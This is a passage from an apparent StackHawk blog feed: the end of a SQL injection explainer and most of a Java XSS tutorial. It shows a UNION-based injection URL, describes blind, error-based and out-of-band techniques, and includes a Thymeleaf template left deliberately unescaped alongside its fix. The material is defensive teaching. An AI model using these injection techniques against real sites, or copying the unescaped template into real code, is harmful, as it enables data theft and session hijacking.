SQLi attack, represented&lt;a href=&quot;https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/soti-security-web-attacks-and-gaming-abuse-report-2019.pdf&quot;&gt; &lt;u&gt;nearly two-thirds of all web application attacks&lt;/u&gt;&lt;/a&gt;. These numbers are staggering, and even more so when put into context.&lt;/p&gt;&lt;p&gt;Despite SQLi’s reign as&lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/opsqli-1/sql-injection.html&quot;&gt; &lt;u&gt;one of the top 10 CVE vulnerabilities since 2003&lt;/u&gt;&lt;/a&gt;, it has only begun to pick up pace and popularity in the past few years; just two years prior to 2019, SQLi only accounted for&lt;a href=&quot;https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/soti-security-web-attacks-and-gaming-abuse-report-2019.pdf&quot;&gt; &lt;u&gt;44% of web application attacks&lt;/u&gt;&lt;/a&gt;. This growth shows how important it is to add automated security testing to your DevOps pipeline so that these bugs are caught before they hit production. &lt;/p&gt;&lt;p&gt;Let’s break down this class of bugs and explore ways to prevent it.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is SQL injection?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A SQL injection attack is a web application attack in which the attacker &amp;quot;injects&amp;quot; SQL statements with malicious SQL commands to manipulate or access application data, whether sensitive or public. These attacks leverage areas in web applications that ask for user input. If user inputs in an app are not properly sanitized through input validation, an attacker can use a SQL injection attack to gain access to the associated app datastore. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How SQL Injection Works&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Attackers commonly use SQL injections to infiltrate web applications through user input. This includes form fills for usernames, user IDs, first and last names, and more. If you do not sanitize these inputs before accepting them or&lt;a href=&quot;https://stackoverflow.com/questions/4712037/what-is-parameterized-query&quot;&gt; &lt;u&gt;make strong use of parameterized SQL statements&lt;/u&gt;&lt;/a&gt;, an attacker can pass SQL statements through that input that unknowingly run on your database.&lt;/p&gt;&lt;p&gt;For example, say you are taking the input of a user ID in from a user. When your application fetches information about a user, the URL may look something like this:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;They enter their user ID; you take in their input, use it to find their information in your database, and then display their data to them.&lt;/p&gt;&lt;p&gt;But, consider this: instead of inputting their user ID, they input what can be interpreted as a SQL string query as in the following example:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;If you take their input as-is, without sanitizing, this will result in something like the following SQL query:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Since 1=1 is always true, this statement (and other syntactically valid queries like it, including complex string concatenations) could return every data field for all users in the &lt;b&gt;users&lt;/b&gt; table. This is a classic example of a SQL injection; it does not trigger a warning due to incorrect syntax or a modified query, but instead utilizes the system against itself.&lt;/p&gt;&lt;p&gt;It’s important to note that this is the output the database is &lt;i&gt;designed to provide &lt;/i&gt;for this type of query. In this instance, the attacker is not looking to break the application you’ve made…just use what’s already available to access things they shouldn’t. When developing an application, try to consider what things might be accessible that shouldn’t be, and then implement ways to prevent that access from happening. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of SQL Injection&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;There are three main types of SQL injections: In-band SQLi, Inferential SQLi, and Out-of-Band SQLi.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;In-band SQLi&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;When an attacker initiates a SQL injection attack from the same place used to gather the output of the injection, it’s known as an In-band SQLi. This is one of the most common types of SQLi attacks, and is often separated into error-based SQLi and union-based SQLi.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Error-based SQLi&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;An Error-based SQLi is a type of SQL injection attack that outputs error messages thrown by the database. This type of injection can be used to give attackers valuable information about the database, like its size and elements. Many a times, attackers will use an Error-based SQLi to perform reconnaissance on the database before ultimately executing a SQL injection attack meant to perform more complex tasks like outputting data. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Example of an Error-based SQLi &lt;/b&gt;&lt;/p&gt;&lt;p&gt;Consider a situation where you have left error logging on in your web application, which is now in production. In order to gather information about your database, the attacker modifies the user input with something they know will return an error. &lt;/p&gt;&lt;p&gt;This results in the SQL query:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Which will throw an error because of the extraneous tick mark at the end. If error logging is on, the error is then presented to the attacker:&lt;/p&gt;&lt;p&gt;&lt;code&gt;Error: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near….&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The attacker now knows that the web application is vulnerable to Error-based SQLi, and can take advantage of this by invoking more informative error messages that give information about the database. &lt;/p&gt;&lt;p&gt;To prevent this, error logging should be disabled in a live web application, or it should output to a restricted file. &lt;/p&gt;&lt;p&gt;The attacker now knows that the web application has an Error-based SQL injection vulnerability, and can take advantage of this by invoking more informative error messages that give information about the database through well-crafted malicious SQL statements. &lt;/p&gt;&lt;p&gt;To prevent this, error logging should be disabled in a live web application, or it should output to a restricted file. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Union-based SQLi&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A union-based SQL injection attack uses the UNION operator to output additional data into a single result, typically in the already-visible table in the web application. In order to successfully execute a union-based SQLi, the attacker must have information about the database like the table name, number of columns in the query, and data type. This is because, in order for a UNION to succeed, the SELECT statements must:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Have the same number of columns.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Have compatible data types.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;One way this reconnaissance data can be gathered is through an Error-based SQLi when error logging is enabled. Information gathered from error logs may give enough information for an attacker to understand the size of the table and the data types used. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Example of a Union-based SQLi&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Consider a situation where the attacker has managed to gather information about the size of the table, the data type in use, and the name of a second table, &lt;i&gt;names&lt;/i&gt;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;http://mycoolapp.com/allusers.php?id=&amp;#39; UNION SELECT * FROM names --&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This will result in the SQL query:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The — is a comment in SQL, so anything after — is automatically commented out. The initial SELECT statement returns a null set, as there is no user with id ” in &lt;i&gt;users&lt;/i&gt;, while the second SELECT statement returns all information in &lt;i&gt;names&lt;/i&gt;. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Blind SQLi&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Blind SQLi are very similar to In-Band SQLi, with one difference: responses from the web application do not output the results of the query or database errors. Basically, the web application developer suppresses error messages from the database, making it more difficult for attackers to use SQL injections. However, this does not solve the problem of SQL injections. Attackers can still use Blind SQLi, which come in two forms: Content-based Blind SQLi and Time-based Blind SQLi. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Content-based Blind SQLi&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Content-based Blind SQLi uses queries for conditional responses instead of data outputs.  These SQL queries ask the database true or false questions so the attacker can evaluate the output and determine if a web application is vulnerable. This can be extremely tedious, so attackers will sometimes automate these attacks. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Example of a Content-based Blind SQLi&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Back to our cool app example. Consider a situation where you have taken some precautions and do not show outputs from query results or database errors. In order to gather reconnaissance about your database, the attacker injects queries hoping for the system to return false. &lt;/p&gt;&lt;p&gt;This results in the SQL query:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Of course, four does not equal one. If the application is vulnerable to a Content-based Blind SQLi, nothing will be returned from this query or the page will differ in some way from normal functionality. While this does not necessarily confirm that the application is vulnerable, it may actually be a good sign for the attacker. To confirm the application is vulnerable, the attacker will then inject a query that should return true and observe the output. &lt;/p&gt;&lt;p&gt;This results in the SQL query:&lt;/p&gt;&lt;p&gt;SQL&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This returns true and outputs the data for user with id 42. &lt;/p&gt;&lt;p&gt;If the web application has a different response to the database returning true than it returning false, the attacker knows the app is vulnerable to a SQL injection. By continuing to use true/false tests against the database, the attacker can find additional information about it and potentially even the contents of the database itself. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Time-based Blind SQLi&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Time-based Blind SQLi queries the system to perform time-intensive operations. A typical time-intensive operation that can be used for a Time-based Blind SQLi is the sleep() operation. An attacker can send a query to the database to sleep for a certain period, and if the web application delays its response by that period, it is vulnerable. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Example of a Time-based Blind SQLi&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Consider a situation where you have taken some precautions to prevent outputs from query results to the database or database errors. In order to gather reconnaissance about your database, the attacker can attempt to affect the database with the SLEEP() function. &lt;/p&gt;&lt;p&gt;If the database has a slow response, this means the query was executed successfully and that the attacker is able to execute SQL queries on the database. From there, the attacker can use other Blind SQL injection techniques to gather additional information about the database.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Out-of-Band SQLi&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;In contrast to In-band SQLi, Out-of-band SQLi requires an attacker to use a different channel to initiate the SQL injection than the one to gather the output of the SQL injection. For example, if an attacker uses an Out-of-band SQL injection on a web application, they manipulate the database server to deliver data to their own separate SQL server that they control. These injections abuse tools like Microsoft SQL Server’s xp_dirtree command to make DNS requests to an attacker-controlled server. Out-of-band SQLi are much less common than other types of SQL injections, as they are very dependent on what features are enabled on the database server. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Common Targets of SQL Injection Attacks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;SQL injection attacks primarily focus on attacking vulnerabilities in a database interaction, and as such, they can be aimed at any system that utilizes a database. The particular method of attack and the aims of that attack will differ both due to the nature of the database in question as well as the intent of the attacker.&lt;/p&gt;&lt;p&gt;One particularly common target is the user authentication and authorization systems. By using basic injections, insecure databases might surface new attack vectors or even sensitive data that can help bypass login mechanisms entirely. This retrieval of sensitive data can also be used to expose and map the database schemas and metadata of the system underlying these security methodologies, bypassing a lot of security mechanisms.&lt;/p&gt;&lt;p&gt;In some cases, SQL injection attacks can even be used to work against the system itself. Utilizing well-crafted SQL injections can cause runaway data retrieval, undermine the way the database functions within the server, or even delete all data in entirety. This can have huge impacts on the overall system, especially if you don&amp;#39;t have recent or complete database backups.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Examples of SQL injection&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;SQL injection attacks have been used to great effect by attackers in many different fields. Let&amp;#39;s look at two specific instances.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2008 Heartland Payment Systems Breach&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;What Happened - &lt;/b&gt;Heartland Payment Systems, a major U.S. payment processor, was&lt;a href=&quot;https://www.twingate.com/blog/tips/Heartland%20Payment%20Systems-data-breach&quot;&gt; &lt;u&gt;breached by attackers&lt;/u&gt;&lt;/a&gt;, resulting in the exposure of 130 million credit and debit card numbers. This exposure was, at the time, one of the largest breaches in history.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;How It Worked - &lt;/b&gt;in 2007, attackers used an SQL injection to insert malicious commands into the computers that processed payments for Heartland Payment Systems. These computers were then leveraged to access a web login page, allowing for additional spread throughout the payment vendor&amp;#39;s network. Attackers were able to then capture transaction data, utilizing this data to make new physical cards for their own use.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Impact - &lt;/b&gt;this was an absolutely massive attack and undermined the trust of hundreds of millions in the financial provider. It led to massive fines and financial losses, adding up to more than $200 million USD. Heartland lost more than 50% of its stock value in the days following the breach&amp;#39;s announcement, and the stock would see a further 77% drop over the next few months. Heartland Payment Systems lost its PCI DSS compliance for four months, losing many of its largest customers, and PCI DSS itself was made more strict as a result of an investigation into the breach.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;2012 LinkedIn Data Breach&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;What Happened - &lt;/b&gt;in 2012, LinkedIn suffered a data breach where hackers stole a massive amount of data. At the time, this was reported to be 6.5 million hashed passwords, but since, it has been revealed that the total number of potentially breached users&lt;a href=&quot;http://www.databreachtoday.com/linkedin-breach-worse-than-advertised-a-9113&quot;&gt; &lt;u&gt;may have reached 167 million users&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;How It Worked - &lt;/b&gt;the attackers utilized a SQL injection in the LinkedIn application which managed user credentials. Utilizing this attack vector, they were able to extract hashed passwords directly from the database, which were then cracked using brute force attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Impact - &lt;/b&gt;LinkedIn was significantly impacted by this attack. As all users were forced tor reset their passwords, LinkedIn lost a large amount of user trust, and were&lt;a href=&quot;https://www.datasecuritylawjournal.com/2012/06/20/linkedin-sued-over-data-breach/&quot;&gt; &lt;u&gt;ultimately subject to a large class-action lawsuit seeking millions in restitution&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;How to Prevent SQL Injection&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Sanitize User Inputs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The best way to prevent SQL injections is to&lt;a href=&quot;https://bobby-tables.com/&quot;&gt; &lt;u&gt;sanitize your database inputs&lt;/u&gt;&lt;/a&gt;. Any type of user input should be assessed, similar to how you might check that a new registrant gave you a legitimate email address instead of a random string.&lt;/p&gt;&lt;p&gt;Validate user input on the server-side, not just the client-side, of your application. Client-side validation can make it more difficult for an attacker to alter user input, but there are many tools that allow attackers to bypass client-side validation when necessary.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example of Sanitizing Inputs&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The easiest way to sanitize user inputs before they are added to your database is to disallow content&lt;a href=&quot;https://en.wikipedia.org/wiki/Regular_expression&quot;&gt; &lt;u&gt;using a regular expression.&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;For example, say you want to have a user input and want to only allow letters, numbers, and spaces.&lt;a href=&quot;https://happycoding.io/tutorials/java-server/sanitizing-user-input&quot;&gt; &lt;u&gt;The regex&lt;/u&gt;&lt;/a&gt; may look something like this: &lt;/p&gt;&lt;p&gt;This regex will allow alphanumeric characters and spaces. By comparing the input you are receiving with this, you can identify and stop any other characters from being accepted. Using regular expressions is just one example of how to sanitize inputs, and it’s important to take additional precautions alongside this, like the ones listed below.  &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Preventing SQL Injection by Framework&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Many frameworks offer specific best practices to prevent SQLi, usually in the form of allowing developers to use a prepared statement or parameterized query to build their SQL statement from user input. If you are interested in learning how to prevent SQL injection for a specific framework that you work in, be sure to check out one of our guides:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.com/blog/sql-injection-prevention-django/&quot;&gt;&lt;u&gt;Preventing SQL Injection in Django&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.com/blog/sql-injection-prevention-rails/&quot;&gt;&lt;u&gt;Preventing SQL Injection in Rails&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.com/blog/sql-injection-prevention-laravel/&quot;&gt;&lt;u&gt;Preventing SQL Injection in Laravel&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackhawk.com/blog/sql-injection-prevention-spring/&quot;&gt;&lt;u&gt;Preventing SQL Injection in Spring&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;&lt;b&gt;Other Helpful Tips &lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;b&gt;Utilize Prepared Statements and Stored Procedures&lt;/b&gt;&lt;/p&gt;&lt;p&gt;When it comes to preventing SQL injection attempts, a standard way to prevent them is to use prepared statements in your code. Additionally, you may also want to leverage stored procedures or parameterized queries that you can create inside the database itself.&lt;/p&gt;&lt;p&gt;Both of these options prevent users from being able to easily inject malicious code via SQL injection that the database server will execute. Instead of running &amp;quot;raw&amp;quot; queries (creating a SQL query in a string and then running it directly in the database), ensure that each SQL command is only executed through these mechanisms.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Follow the Principle of Least Privilege&lt;/b&gt;&lt;/p&gt;&lt;p&gt;A skilled and determined attacker will find any potential vulnerability you might have, so the only real way to win - to paraphrase War Games - is not to play. The principle of least privilege limits access for users based only on what privileges they need and stops a lot of attacks in its tracks by denying the attacker a vector from which to escalate their threat.&lt;/p&gt;&lt;p&gt;For example, a user of a web application may not need access to an entire database. By granting users access only to the tables they need, you can reduce the potential impact of misuse by a malicious user.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Keep Sensitive Data and Public Data Separate&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Storing sensitive data must be handled differently than storing public data. Sensitive data should only be stored if necessary for the application, and it should be encrypted. Take extra precautions with sensitive data that you wouldn’t necessarily take with public data to ensure your users privacy.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Automate Testing for SQL Injection in the Build Pipeline&lt;/b&gt;&lt;/p&gt;&lt;p&gt;While resources such as this blog post and security training for the engineering team are helpful, the best way to avoid SQL injection vulnerabilities in your application is to automate testing in the pipeline. A successful SQL injection attack only really needs a single weakness to be effective, so automated testing will help make sure that you are able to prevent SQL injection vulnerabilities before they are ever pushed to production.&lt;/p&gt;&lt;p&gt;We built&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; to help engineering teams find and fix security bugs like SQL injections and more, but there are also many other tools out there depending on your use case. The bottom line is to use automation to help ensure you ship code that is free from security bugs.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Adopt Zero Trust to Build a Strong Security Posture&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The simple fact is that any user could threaten your internal systems, and you should adopt a policy of zero trust. Implementing application security measures such as effective access control, limiting the proliferation of administrator privileges, preventing direct access to the SQL database - these are all simple steps that add up to a major upgrade for your security posture.&lt;/p&gt;&lt;p&gt;This can be taken a step further by ensuring that you are implementing a secure posture globally. Putting all of your effort into securing a single part of your approach is not going to stop malicious users. You need to pay as much attention to stopping the effort to manipulating databases as you are to implementing a strong web application firewall or other traffic filter. You need to be running routine user role audits as much as you are ensuring that database servers are running on up-to-date patches and operating servers.&lt;/p&gt;&lt;p&gt;SQL injection prevention is frighteningly common, but its presence could suggest a more systemic threat - so be aware and be holistic!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Can StackHawk Help?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When it comes to SQL injection attacks, prevention is the best path forward. Of course, proper coding techniques and standards can help to prevent SQL injection from occurring but what if someone forgets these practices?&lt;/p&gt;&lt;p&gt;This is where StackHawk can help identify and remedy potential SQL injection issues by scanning the code locally or right in your CI/CD pipeline. With every commit, your applications and APIs are scanned and tested with StackHawk’s&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;Dynamic Application Security Testing (DAST)&lt;/u&gt;&lt;/a&gt; platform.&lt;/p&gt;&lt;p&gt;Once the scan and analysis are complete, the results, such as a potential injection vulnerability, are highlighted. Developers can then easily identify a fix and update code to remedy the vulnerability.&lt;/p&gt;&lt;p&gt;Along with detecting SQL injection vulnerabilities, StackHawk helps developers uncover hundreds of other types of potential vulnerabilities in their code. When trying to create the most secure applications you possibly can, leaning on automation as part of your application security stack is a must. Trying out StackHawk is super easy, and within minutes, you’ll be able to identify and address potential security issues. You can try it out today by signing up for a free account&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Already using a security tool?&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt; &lt;u&gt;StackHawk’s DAST platform&lt;/u&gt;&lt;/a&gt; is complementary to many other security tools. Most security professionals recommend multiple tools to be included in your application security stack.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Java XSS: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/java-xss</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Security is one of those areas in software development where it’s really important you get it right. At the same time, it’s often easy to get it wrong, especially in teams that suffer from &lt;a href=&quot;https://en.wikipedia.org/wiki/Not_invented_here&quot;&gt;not-invented-here syndrome&lt;/a&gt; and refuse to adopt the best practices and state-of-the-art tools that would prevent many issues from happening. Today we’re here to cover one very specific security problem: Java XSS.&lt;/p&gt;&lt;p&gt;We’ll start by defining XSS, talking very briefly about what it is, its types, and why it can be so dangerous to your applications. After that, we’ll walk you through a list of three XSS examples in Java and show you what you should do to prevent them. Let’s get started.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Java XSS: What’s This? Why Should You Care?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;“Java XSS” is simply XSS done to a Java app. So, what’s XSS?&lt;/p&gt;&lt;p&gt;We have &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;another post dedicated solely to answering that question&lt;/a&gt;, and we suggest you check it out. Here’s the short version, though.&lt;/p&gt;&lt;p&gt;XSS stands for cross-site scripting. This is a type of attack that explores vulnerabilities in websites and injects malicious client-side scripts that are then executed by users. The malicious inject script can cause many different effects, ranging from mostly harmless to potentially catastrophic. A highly successful XSS attack can give the attacker access to the user’s personal data. It’s even possible to hijack the user’s session by stealing their session cookie, in which case the consequences can be dire.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Java XSS Examples&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Web applications might suffer an XSS attack regardless of their back-end language. Java is certainly no exception to that. So, we’ll now walk you through three basic examples of what an attempted XSS attack on a Java app could look like and how to prevent them.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example #1: XSS Through Parameter Injection&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For our first example, we’ll show a basic XSS attack that can be done through a query parameter. For the example, we’ll use a Spring Boot app that simply takes a name as an input parameter and then displays “Hello, !”&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Code&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Here’s what the app’s controller looks like:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The controller defines an index action method, which will be mapped to the &lt;b&gt;/greeting&lt;/b&gt; route. The method defines a required string parameter called &lt;code&gt;&lt;b&gt;name&lt;/b&gt;&lt;/code&gt;. It then adds the received value as an attribute to the model.&lt;/p&gt;&lt;p&gt;Let’s now see our view for this action:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;As you can see, what’s happening here is quite simple. The &lt;b&gt;name&lt;/b&gt; variable, whose value is what the user has passed as a query parameter, gets concatenated to a message that the view then displays inside a  tag. No rocket science going on here.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Attack&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;If I run the app and pass my name as a query parameter, that’s what I see:&lt;/p&gt;&lt;p&gt;Pretty unremarkable, right? So, what’s the problem? Well, let’s start by checking whether we can input some HTML:&lt;/p&gt;&lt;p&gt;That’s bad news. We did manage to input HTML code that was parsed and displayed as such. Let’s say we want to run the following line of JavaScript:&lt;/p&gt;&lt;p&gt;Could we do it? Let’s see:&lt;/p&gt;&lt;p&gt;As you can see, the current code is insecure. We’ve managed to sneak in and run a harmless snippet of JavaScript. In the same way, a bad actor could certainly run a harmful script. They could send a URL to unsuspecting users, causing them to click those links, passing the malicious script as a parameter. For instance, the attacker could use a malicious script that steals the user’s cookie, effectively &lt;a href=&quot;https://en.wikipedia.org/wiki/Session_hijacking&quot;&gt;hijacking its session&lt;/a&gt;.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;How to Prevent This&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The example above is what we call a reflected or non-persistent XSS. One action you can take against it is to escape user input. The view in our example has a deliberate error, to allow unescaped content to be displayed as it is. Pay attention to the following line:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p th:utext=&amp;quot;&amp;#39;Hello, &amp;#39; + ${name} + &amp;#39;!&amp;#39;&amp;quot; /&amp;gt;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;In the line above, we’re using the Thymeleaf templating engine to display the greeting in the view. Notice the usage of the &lt;code&gt;&lt;b&gt;utext&lt;/b&gt;&lt;/code&gt; attribute processor. That stands for unescaped text and is the reason why HTML tags are being displayed. Let’s solve that by changing the attribute to &lt;code&gt;&lt;b&gt;text&lt;/b&gt;&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p th:text=&amp;quot;&amp;#39;Hello, &amp;#39; + ${name} + &amp;#39;!&amp;#39;&amp;quot; /&amp;gt;&lt;/code&gt;  &lt;/p&gt;&lt;p&gt;Now, if I try to sneak in a piece of JavaScript, this is what I get:&lt;/p&gt;&lt;p&gt;Mature frameworks such as Spring usually have security features that, when used correctly, should protect your apps against the most common types of attacks. That’s probably one of the best business cases for using third-party tools like frameworks and libraries: the security goodies they often offer by default.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example #2: Using a Fake Form to Steal User Credentials&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;The use cases for XSS are virtually infinite. They’re only bound by the attacker’s ingenuity and your app’s vulnerability. Let’s explore yet another scenario, showing how an attacker can create a fake form to steal user credentials by using XSS.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Code&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For this example, we’ll use the same code samples for the previous one, with one change. We’ll change back the &lt;code&gt;&lt;b&gt;th:text&lt;/b&gt;&lt;/code&gt; Thymeleaf attribute to &lt;code&gt;&lt;b&gt;th:utext&lt;/b&gt;&lt;/code&gt; so we can get away with providing HTML tags as inputs.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Attack&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For this attack, the attacker wants to inject and display HTML code for a simple form:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Notice that the form’s action attribute points to a URL controlled by the attacker. The idea here is to lure the unsuspecting victim into submitting their credentials using this form. In order to do that, the attacker could simply pass the HTML for the form as a query parameter to the vulnerable site and share that URL with the victim, in what’s called a phishing attack: &lt;/p&gt;&lt;p&gt;This is, of course, a toy example. A real attack would probably make use of styling to make the fake form look as realistic as possible, with the intent of luring more people into the trap.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;How to Prevent It&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;As in the previous example, preventing this attack consists of escaping content so tags aren’t displayed. In the case of Thymeleaf templating language, that means using the safe &lt;b&gt;th:text&lt;/b&gt; attribute.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Example #3: XSS Through Forms&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For our third and final example, we won’t use a code sample. Instead, we’ll use a &lt;a href=&quot;http://www.insecurelabs.org/&quot;&gt;demo site&lt;/a&gt; that is deliberately insecure against XSS, to allow people to practice. Here’s what the site looks like:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Attack&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;To perform the attack, we’ll exploit the comment functionality of the site, which is not protected. Let’s start by clicking on &lt;b&gt;Agenda&lt;/b&gt;. Then, I’ll click on any of the talks listed. I’ll see a form that allows me to input a comment:&lt;/p&gt;&lt;p&gt;I’ll enter my name normally. However, my comment will be a JavaScript snippet that displays a message:&lt;/p&gt;&lt;p&gt;After submitting the form, the alert will be displayed:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;How to Prevent It&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Since this is a demo site and we have no way of knowing which tech stack was used to build it, I’ll offer no prevention sample code in here. Suffice it to say that the same principles apply: Java or otherwise, you must research and adopt mature tools and frameworks that come with built-in features to counter the most common security vulnerabilities.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;XSS: More Ways to Prevent It&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In this post, we’ve covered some examples of XSS in Java, showing how they can be prevented. We did that after explaining briefly what XSS is about and why it can be such a dangerous threat to the security of your app.&lt;/p&gt;&lt;p&gt;This is the main takeaway from the post: never trust data that comes from outside the application. Always treat any kind of input as suspect until you escape 